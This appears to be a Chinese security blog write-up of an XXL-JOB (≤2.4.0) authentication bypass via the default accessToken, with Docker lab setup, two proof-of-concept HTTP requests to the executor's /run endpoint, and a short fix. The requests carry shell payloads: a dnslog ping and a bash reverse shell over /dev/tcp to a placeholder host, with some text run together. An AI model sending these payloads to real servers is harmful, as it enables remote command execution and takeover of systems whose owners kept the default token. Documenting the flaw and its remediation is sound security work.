XXL-JOB默认accessToken身份认证绕过
0x01 简介
XXL-JOB 是一款开源的分布式任务调度平台,用于实现大规模任务的调度和执行。
0x02 漏洞概述
XXL-JOB 默认配置下,用于调度通讯的 accessToken 不是随机生成的,而是使用 application.properties 配置文件中的默认值。在实际使用中如果没有修改默认值,攻击者可利用此绕过认证调用 executor,执行任意代码,从而获取服务器权限。
0x03 影响版本
XXL-JOB <= 2.4.0
0x04 环境搭建
Docker方式构建
1.拉取镜像
docker pull xuxueli/xxl-job-admin:2.4.0
2.创建数据库
docker pull mysql
docker run -d --name mysql -e MYSQL_ROOT_PASSWORD=root -p 13306:13306 mysql
3.用navicat连接数据库并运行xxl-job.sql文件
xxl-job.sql下载地址:
打开navicat连接数据库,新建一个名称叫xxl-job名称的数据库,进入该xxl-job名称数据库,并执行xxl-job.sql文件
4.创建xxl-job容器并启动
dockerrun--privileged=true-ePARAMS="--spring.datasource.username=root--spring.datasource.password=123456--spring.datasource.url=jdbc:mysql://yourip:13306/xxl_job?useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&serverTimezone=Asia/Shanghai"-p8080:8080-v/home/xxl-job/logs:/data/applogs--namexxl-job-admin-dxuxueli/xxl-job-admin:2.4.0
访问
展开全文
执行器搭建
1.下载Source并编译成jar包
使用idea或maven编译
2.下载application.properties并根据实际情况修改
wget
3.运行
nohup java -jar ./xxl-job-executor-sample-springboot.jar --spring.config.location=./application.properties &
4.验证
执行器中管理中对应节点已经自动注册
0x05 漏洞复现
POC:
POST/run
Host:
XXL-JOB-ACCESS-TOKEN:default_token
Content-Length:326
"jobId":1,
"executorHandler":"demoJobHandler",
"executorParams":"demoJobHandler",
"executorBlockStrategy":"COVER_EARLY",
"executorTimeout":0,
"logId":1,
"logDateTime":1710864010,
"glueType":"GLUE_SHELL",
"glueSource":"pingxxxx.dnslog.cn",
"glueUpdatetime":1710864010,
"broadcastIndex":0,
"broadcastTotal":0
DNSLog
Getshell
POC:
POST/run
User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64;rv:109.0)Gecko/20100101Firefox/111.0
Accept-Encoding:gzip,deflate,br
Accept:*/*
Connection:close
Host:
Content-Type:application/json
XXL-JOB-ACCESS-TOKEN:default_token
Upgrade-Insecure-Requests:1
Content-Length:375
"jobId":2,
"executorHandler":"demoJobHandler",
"executorParams":"demoJobHandler",
"executorBlockStrategy":"SERIAL_EXECUTION",
"executorTimeout":0,
"logId":1,
"logDateTime":1586373637819,
"glueType":"GLUE_SHELL",
"glueSource":"bash-i>&/dev/tcp/ip/44440>&1",
"glueUpdatetime":1586693836766,
"broadcastIndex":0,
"broadcastTotal":0
0x06 修复方式
修改调度中心和执行器配置项 xxl.job.accessToken 的默认值,注意要设置相同的值。
评论